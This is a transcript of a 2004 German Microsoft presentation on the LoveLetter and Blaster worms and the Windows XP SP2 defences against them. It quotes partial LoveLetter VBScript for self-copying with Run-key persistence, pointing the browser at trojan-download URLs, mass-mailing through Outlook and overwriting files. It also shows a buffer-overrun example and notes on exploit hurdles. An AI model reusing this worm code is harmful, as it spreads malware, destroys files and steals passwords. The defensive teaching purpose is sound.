slide1 n.
Download
Skip this Video
Loading SlideShow in 5 Seconds..
Viren, Würmer, SP2 PowerPoint Presentation
Download Presentation
Viren, Würmer, SP2

Loading in 2 Seconds...

play fullscreen
1 / 54

Viren, Würmer, SP2 - PowerPoint PPT Presentation


  • 168 Views
  • Uploaded on

Viren, Würmer, SP2. Uwe Baumann Dirk Primbs .NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com. Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals angehen musste.

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Viren, Würmer, SP2' - gavivi


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
slide1

Viren, Würmer, SP2

Uwe BaumannDirk Primbs.NET Community EvangelistsMicrosoft Deutschland GmbHuwebaum@microsoft.comdirkp@microsoft.com

slide2

Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals angehen musste.

Es geht nicht nur darum, einfach ein paar Sicherheitslöcher zu schließen und weiterzumachen. Die negativen Auswirkungen von Viren und Würmern auf ein akzeptables Niveau herunterzuschrauben erfordert ein fundamental neues Denken über Softwarequalität, ständige Verbesserungen bei Tools und Prozessen, und anhaltende Investitionen in widerstandsfähige neue Sicherheitstechnologien, die bösartigen oder zerstörerischen Code blocken, bevor Schaden entsteht [...]

Der technologische Fortschritt in den letzten zwei Jahrzehnten ist unglaublich, und ist viel zu wichtig, als daß wir ein paar Kriminellen erlauben dürfen, uns davon abzuhalten, die fantastischen Errungenschaften der Technologie zu genießen.

Bill Gates, 31. März 2004

viren w rmer trojaner
Viren, Würmer, Trojaner
  • Zwei typische Vertreter
    • LoveLetter und Blaster
  • Wurm Inside
    • So funktionieren LoveLetter und Blaster
  • Harte Lektionen
    • Warum konnte das geschehen?
    • Aus Schaden wird man klug
  • Hilfe, mein Code geht nicht mehr!
    • „Kann man das auch ausschalten?“
love letter

Love Letter

Als die Liebe die Welt regierte

slide5

Mittwoch, 3. Mai 2000

Ein neuer Wurm taucht auf.Unter den ersten „Patienten“ sind Microsoft Deutschland, Lucent Technology Europa und Credit Suisse

Donnerstag, 4. Mai 4:12 Uhr

Antivirus-Hersteller in Europa empfangen die ersten Meldungen von Kunden und beginnen um ca. 5:00 Uhr mit der Analyse. Es wird schnell klar: Der Wurm, geschrieben in VB Script, ist nicht sehr kompliziert, aber extrem ansteckend.

Ca. 7:00 Uhr

... in Melbourne klickt ein Mitarbeiter des Reiseführer-Verlags „Lonely Planet“ auf das Wurm-Script und verschickt den Wurm an 100 Reiseführer-Autoren in der ganzen Welt…

18:40 Uhr

Viele Antivirus-Hersteller machen Virus-Definitionsfiles zum freien Download über das Web verfügbar.

16:00 UhrDer erste Clone taucht auf („Funny Joke“)

Dienstag, 9. MaiVirusmeldungen aus aller Welt gehen zurück. Insgesamt sind jetzt 29 Varianten im Umlauf, eine halbe Million PCs wurden infiziert.

Mittwoch, 4. Mai 200013:00 UhrDer Wurm trifft im Pentagon und bei der CIA ein. Das FBI nimmt die Ermittlungen auf.

Ab 7 Uhr

… und an der Ostküste der USA klicken Tausende liebeshungrige Büroangestellte nach einem frustrierenden Wochenende auf die Mail in der Hoffnung auf ein Rendez-Vouz

7:00 UhrAntivirus-Hersteller verschicken die ersten Versionen der Virendefinition an ihre Kunden, aber es ist bereits zu spät denn…

Vormittag

Mitarbeiter des philippinischen Internetproviders „Sky Internet“ bemerken eine drastisch erhöhte Anzahl von Downloads auf ihren Servern. Der Wurm lädt dort einen Trojaner herunter, der Passwörter ausspioniert und an zwei eMail-Adressen versendet. Der Provider schaltet die betroffenen Server ab.

Freitag, 5. MaiMittlerweile sind 9 weitere Varianten im Umlauf, getarnt als Muttertagsmail und als Nachricht des Antiviren-Herstellers Symantec

Quelle: PCWorld.com

reproduktion
Reproduktion
  • Verschickt sich als Attachment an eMail-Adressen aus dem Outlook-Addressbuch des Benutzers
  • Verschickt sich über IRC mit Hilfe des DCC Features (Direct Client-to-Client)
aktionen
Aktionen
  • Ersetzt Files mit Kopien des eigenen Codes
  • Startet Download eines Trojaners
  • Verschickt sich selbst über eMail
  • Infiziert (überschreibt) Files
  • Erstellt ein mIRC Script
  • Verändert die Startseite des Internet Explorers
inside loveletter
Inside LoveLetter
  • Analyse des VBS-Skripts
code selbstkopien erstellen
Code: Selbstkopien erstellen

Set wscr=CreateObject("WScript.Shell")

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

Run\MSKernel32",dirsystem&"\MSKernel32.vbs"

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"

code trojaner downloaden
Code: Trojaner downloaden

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",

"http://www.skyinet.net/~young1s/[…]HJKhjnjbvYT/WINBUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page","http://www.skyinet.net/~angelcat/

[…]skladjflfd/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",

"http://www.skyinet.net/~koichi/[…]TRjkcbGRfF/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",

"http://www.skyinet.net/~chu/[…]sdgfhjjgcb/WIN-BUGSFIX.exe"

end if

code massenmail schicken
Code: Massenmail schicken

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

set a=mapi.AddressLists(ctrlists)

x=1

for ctrentries=1 to a.AddressEntries.Count

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

male.Send

x=x+1

next

code files infizieren
Code: Files infizieren

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

next

das ende vom lied
Das Ende vom Lied
  • 10 Milliarden US$ Schaden (geschätzt)
  • Unzählige Nachahmer
  • Wahrscheinlicher Autor: Philippinischer Student
  • Motiv: Entweder ein Versehen oder die Rache für eine zurückgewiesene Semesterarbeit
  • Verurteilung des Autors nach damals in den Philippinen geltendem Recht nicht möglich
lektionen aus love letter
Lektionen aus Love Letter
  • Love Letter vertraute darauf, daß…
    • … der Empfänger Mailattachements öffnet wenn die Email von bekannten Absendern stammt.
    • … der Empfänger ausreichende Rechte hat um von sich selbst Kopien in Systemverzeichnissen zu erstellen.
    • ... Mails vollautomatisch verschickt werden können.
ma nahmen i
Maßnahmen I
  • Hinweismeldungen von Office-Applikationen, bevor …
    • … VBA-Code ausgeführt wird.
    • … Scripts ausgeführt werden.
    • … Outlook automatisiert werden kann.
ma nahmen ii
Maßnahmen II
  • Neue Sicherheitsoptionen für die Preview Pane in Outlook
  • Ausführbare Attachements werden blockiert:
  • Mail-Previews laufen in der „Restricted Sites“ Internet Zone
windows xp service pack 2
Windows XP Service Pack 2
  • Neue Mail-Preview für Outlook Express
  • Zone „Local Machine“ restriktiver vorkonfiguriert
  • Neue zentrale API zum Handling von Attachements: Attachement Execution Services (AES)
    • Schnittstelle IAttachementExecute
    • Zentralisiert die Risiko-Abschätzung
    • Steuerbar über Group Policies
bitte wenden sie sich an ihren administrator
Bitte wenden Sie sich an Ihren Administrator 
  • Als Nicht-Administrator wäre es Love Letter nicht möglich gewesen, …
    • … sich in HKLM\…\Run einzutragen.
    • … in ein Systemverzeichnis zu schreiben.
    • … Betriebssystembestandteile auszutauschen.
das security problem software security pendel
Einfache Benutzung

“Automagic”

Alle Features sind ON by default

Große Angriffsfläche

Out Of The Box Experience

Features

Attacks

Usability

&

Features

Security

&

Privacy

Das Security ProblemSoftware Security Pendel

Marketing Mode

das security problem software security pendel1
Geringe “connectivity”

Viele Sicherheitsdialoge

Minimierte Angriffsfläche

Oft schwerer zu benutzen

Nur schwer zu vermarkten

Usability

&

Features

Security

&

Privacy

Das Security ProblemSoftware Security Pendel

Paranoid Mode

das security problem software security pendel2
Kleinere Angriffsfläche

Weniger Sicherheits-Dialoge

Transparente Einstellung

Konfigurierbar

Sicher handhabbar!

Security & Privacy als Feature für den Anwender

Usability

&

Features

Security

&

Privacy

Das Security ProblemSoftware Security Pendel

Optimum

blaster

Blaster

Mach mal Pause!

reproduktion1
Reproduktion
  • Wurmcode lädt EXE-Datei „MSBLAST.EXE“ von angreifendem, bereits infizierten System und führt diese lokal aus
  • Die EXE-Datei scannt weitere Systeme und infiziert diese mit dem Wurmcode
aktionen1
Aktionen
  • Startet Denial-of-Service Angriff auf http://www.windowsupdate.com
  • Bringt Computer zum Absturz (als Nebeneffekt)
inside blaster
Inside Blaster
  • Grundlagen: Buffer Overrun
  • Analyse der angreifbaren Stelle im Windows-Sourcecode
buffer overrun das prinzip 1
Buffer Overrun: Das Prinzip [1]

void main() {

char myLongBuffer[256];

myFunction(myBuffer);

}

void myFunction(char *myString) {

char myShortBuffer[16];

strcpy(myShortBuffer, myString);

}

  • Was passiert, wenn der übergebene String größer als 16 Zeichen ist?
buffer overrun das prinzip 2

MyShortBuffer

Gehackte Adresse

MyShortBuffer

16

„Böser“ Inhalt von MyShortBuffer:

Viruscode

Gehackte Adresse

256

MyLongBuffer

Buffer Overrun: Das Prinzip [2]

Stack

void main() {

char myLongBuffer[256];

myFunction(myLongBuffer);

}

Strings

MyShortBuffer

16

256

void myFunction(char *myString) {

char myShortBuffer[16];

strcpy(myShortBuffer, myString);

}

Sonstige Daten

Virus ausführen

Rücksprungadresse

Daten sind zu lang !

Rücksprung an gehackte Adresse…

(bisheriger Stackinhalt)

Stack

code blasters angriffsziel

Port 135 (Z.B. aus dem Internet)

!!!

Code: Blasters Angriffsziel

error_status_t _RemoteActivation(WCHAR *pwszObjectName, ... ) { *phr = GetServerPath(pwszObjectName, &pwszObjectName); …}

HRESULT GetServerPath(WCHAR *pwszPath, WCHAR **pwszServerPath ){ WCHAR * pwszFinalPath = pwszPath; WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]; hr = GetMachineName(pwszPath, wszMachineName); *pwszServerPath = pwszFinalPath;

}

HRESULT GetMachineName( WCHAR * pwszPath, WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) { pwszServerName = wszMachineName; LPWSTR pwszTemp = pwszPath + 2; while ( *pwszTemp != L'\\' ) *pwszServerName++ = *pwszTemp++;

ist das wirklich so einfach
Ist das wirklich so einfach?
  • Ausnützen der Sicherheitslöcher ist nicht trivial!
  • Analyse der Verwundbarkeit
    • Sourcecode liegt (oft) nicht vor
  • Virenbaukästen („Kits“) helfen beim Bau einfacher Viren und Trojaner, aber…
    • Exploits werden immer schwieriger
    • Extrem detaillierte Kentnisse sind notwendig
    • Unmöglich ohne viel Zeit und Wissen
sorgen eines hackers
Sorgen eines Hackers
  • Sprungadresse zu eigenem Code finden
    • „NOP-Sledge“ oder gutes Raten
  • DLL-Funktionen aufrufen
    • DLL-Basisadresse? Funktions-Einsprungpunkt?
  • Prozeß abspalten
    • Keine native Win32-Funktion verfügbar
  • Platz für Literale ( z.B. Funktionsnamen)
    • Hashing notwendig
  • Keine Null im Code erlaubt
    • Decoder-Stub nötig

Grrr!

das ende vom lied1
Das Ende vom Lied
  • 5-10 Millionen US$ Schaden
  • 8 Millionen infizierte Computer
  • Autor immer noch nicht bekannt
  • Einige Nachahmer vor Gericht
lektionen aus blaster
Lektionen aus Blaster
  • Blaster nutzte eine Sicherheitslücke im Betriebssystem aus
  • Aktivierte Firewalls hätten Blaster im Vorfeld verhindert, aber…
    • … schafft es Blaster in ein Unternehmensnetzwerk, helfen nur noch Personal Firewalls auf den einzelnen Systemen
  • Zum Zeitpunkt der Verbreitung von Blaster gab es bereits seit nahezu einem Monat einen Patch, der aber nicht rechtzeitig eingespielt worden war
ma nahmen gegen bos
Maßnahmen gegen BOs
  • Bestimmte C/C++ Kommandos sind besonders anfällig
    • strcpy, gets, scanf, sprintf, strcat, …
  • BOs werden in Managed Code durch Laufzeitchecks verhindert.
  • Compilerswitch /GC aktiviert in Visual C/C++ verbessertes Stackhandling
nutzloses wissen special
Nutzloses Wissen Special

Bergarbeiter mit Kanarienvogel (Welsh Miner‘s Canary)

Prinzip:

Vogel tot =zuviel Methangas

Quelle: West Virginia Office of Miners’ Health, Safety and Training

compilerswitch gc

void myFunction(char *myString) {

char myShortBuffer[16];

strcpy(myShortBuffer, myString);

}

Prolog: Alloziiert Speicher auf dem Stack für lokale Variablen

Prolog: Alloziiert Speicher auf dem Stack für lokale Variablen und speichert Zufallswert für Security Cookie (Canary) ab

sub esp,20h

sub esp,24h

mov eax,dword ptr [___security_cookie (408040h)]

xor eax,dword ptr [esp+24h]

mov dword ptr [esp+20h],eax

MyShortBuffer

16

Epilog: Führt Rücksprung durch

add esp,20h

ret

Epilog: Prüft den Security Cookie (Canary) und führt anchließend Rücksprung durch

256

MyLongBuffer

mov ecx,dword ptr [esp+20h]

xor ecx,dword ptr [esp+24h]

add esp,24h

jmp __security_check_cookie (4010B2h)

Compilerswitch /GC

Stack

MyShortBuffer

Strings

Security Cookie

Rücksprungadresse

(bisheriger Stackinhalt)

Stack

patchmanagement definition patch
PatchmanagementDefinition: Patch
  • Patches beheben gefundene Security Vulnerabilities
  • werden von Microsoft in Sicherheits-Bulletins veröffentlicht (z.B. MS03-47)
  • Patches werden in Rollup-Packages und Service Packs zusammengefasst
  • Vulnerabilities werden von Microsoft in 4 Schweregrade eingeteilt
patchmanagement enstehung des blaster wurms
PatchmanagementEnstehung des Blaster Wurms

1. Juli 03

16. Juli 03

25. Juli 03

11. August 03

Bulletin & Patch Verfügbar

Bisher kein Angriff

Schwachstelle entdeckt / Start der Patchentwicklung

Angriffs-Codewird veröffentlicht

Wurm infiziert die Welt

Report

  • Schwachstelle in RPC/DDOM aufgedeckt
  • MS startet den höchsten Notfall-prozess Level

Bulletin

  • MS03-026 wir an Kunden ausgeliefert
  • Kontinuierliche Kommunikation mit Analysten, Presse, Community, Partner, Regierungsbehörden

Exploit

  • X-focus (Chinesische Security-Spezialisten) veröffentlicht Angriffs-Tool
  • MS maximiert die Anstrengungen, alle Kunden zu informieren

Worm

  • Blaster Wurm entdeckt
  • Varianten und andere Viren schlagen gemeinsam zu (z.B. “SoBig”)

Blaster zeigt das komplexe Zusammenspiel zwischen Sicherheitsforschung, Softwarehersteller und Hackern

patchmanagement reaktionszeit

331

180

151

25

SQL Slammer

Nimda

Blaster

Welchia/ Nachi

PatchmanagementReaktionszeit
  • Zeitspanne zwischen erscheinen des Patches und Auftreten eines Exploits sinkt
  • Exploits werden intelligenter
  • Ansatz Patch Management reicht nicht
  • Neue Techniken müssen entwickelt werden

Tage zwischen Patch und Angriff

windows xp sp2
Windows XP SP2
  • Verbessertes Patchmanagement
    • Automatische zeitgesteuerte Installation
    • Priorisierung beim Patch-Download
    • Reduzierte Patch-Größe mit Delta-Patching
    • Gleiche Scanning-Engine für alle Tools
  • “hot patching” Technologie
    • Reduzierte Anzahl von Reboots
    • Restart Explorer und einige SVCHOST Prozesse an statt kompletten Reboot
windows xp sp21
Windows XP SP2
  • Execution Protection (no-execute, NX)
    • Speicher wird als Datenspeicher markiert
    • Der Versuch, im NX-Bereich Code auszuführen führt zu einer Exception
    • Muß von Hardware unterstützt werden
internet connection firewall
Internet Connection Firewall
  • Ab SP2 ist die ICF “ON by default”
  • Boot time protection
  • Verbesserte Konfigurationsmöglichkeiten
    • Group Policy, Kommandozeile
    • Verbesserte Benutzeroberfläche
    • Programmatisch: INetFwV4AuthorizedApplication, INetFwV4AuthorizedApplications, INetFwV4Mgr, INetFwV4Policy, INetFwV4Profile
internet connection firewall ii
Internet Connection Firewall II
  • Drei Betriebsmodi
    • Aktiviert (Standard)Alle eingehende Verbindungen werden blockiert, Ausnahme: Für in einer „White List“ erfasste Programme werden Ports bei Bedarf geöffnet
    • Aktiviert - keine Ausnahmen„Shielded Mode“, es werden keine eingehenden Verbindungen zugelassen
    • Deaktiviert
windows xp sp2 weitere nderungen
Windows XP SP2 – Weitere Änderungen
  • Unterbindung von anonymen RPC-Aufrufen
    • Neuer Registry-Key steuert das Verhalten: \\HKLM\SOFTWARE\Policies\Microsoft\Windows NT\RPC\RestrictRemoteClients
      • RPC_RESTRICT_REMOTE_CLIENT_NONE (0) – bisheriges Verhalten
      • RPC_RESTRICT_REMOTE_CLIENT_DEFAULT (1) – Anonyme Zugriffe werden zurückgewiesen. Standarteinstellung
      • RPC_RESTRICT_REMOTE_CLIENT_HIGH (2) – genauso wie zuvor, mit der Ausnahme, daß das RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag keine Wirkung mehr hat.
  • DCOM: Globale Konfiguration von Zugriffsrechten
    • Die meisten lokalen Szenarien funktionieren ohne Änderung
    • Remote: Nur Administratoren haben by default das Recht Applikationen zu aktivieren (Activation) und zu starten (Launch)
slide46

Was tun, wenn nichts mehr geht?

“Security is designed to make your system not work” (Michael Howard)

fazit
Fazit
  • Viele Viren benutzen einfache Mechanismen um sich zu Systemen Zugang zu verschaffen
  • Durch gezielte Maßnahmen kann die Anfälligkeit einer Applikation bzw. eines Systems deutlich gesenkt werden
slide48

© 2004 Microsoft Corporation. All rights reserved.

This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

referenzen
Referenzen
  • Marshall Brain: “How Stuff Works: Computer Viruses”http://www.howstuffworks.com/virus.htm
  • Ulf Larson: „VBS.LoveLetter: A Study of the LoveLetter worm“http://www.ce.chalmers.se/undergraduate/D/EDA261/03/oh03/oh_F05_loveletter_4pp.pdf
referenzen1
Referenzen
  • Slipstick Systems : „Protecting Microsoft Outlook against Viruses“http://www.slipstick.com/outlook/antivirus.htm
  • Bill Gates: „Microsoft Progress Report: Security“ http://www.microsoft.com/mscorp/execmail/2004/03-31security-print.asp
referenzen2
Referenzen
  • PC World: "When Love Came to Town: A Virus Investigation“http://www.pcworld.com/news/article/0,aid,33392,00.asp
  • XP Service Pack 2 for Developershttp://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx
referenzen3
Referenzen
  • Microsoft Developer Security Centerhttp://msdn.microsoft.com/security/
  • Microsoft Security Centerhttp://www.microsoft.com/security/
  • Compiler Security Checks in Depthhttp://msdn.microsoft.com/library/en-us/dv_vstechart/html/vctchcompilersecuritychecksindepth.asp
referenzen4
Referenzen
  • Microsoft Baseline Security Analyzerhttp://www.microsoft.com/technet/security/tools/mbsahome.mspx
  • Microsoft Compatibility Toolkit (Application Verifier)http://www.microsoft.com/downloads/details.aspx?FamilyID=7fc46855-b8a4-46cd-a236-3159970fde94&displaylang=en
  • fxCophttp://www.gotdotnet.com/team/fxcop/
referenzen5
Referenzen
  • Developing Software with Non-Administrative privilegeshttp://msdn.microsoft.com/library/en-us/dv_vstechart/html/tchdevelopingsoftwareinvisualstudionetwithnon-administrativeprivileges.asp
  • West Virginia Office for Mine Safety: Historic Photoshttp://www.wvminesafety.org/histphoto.html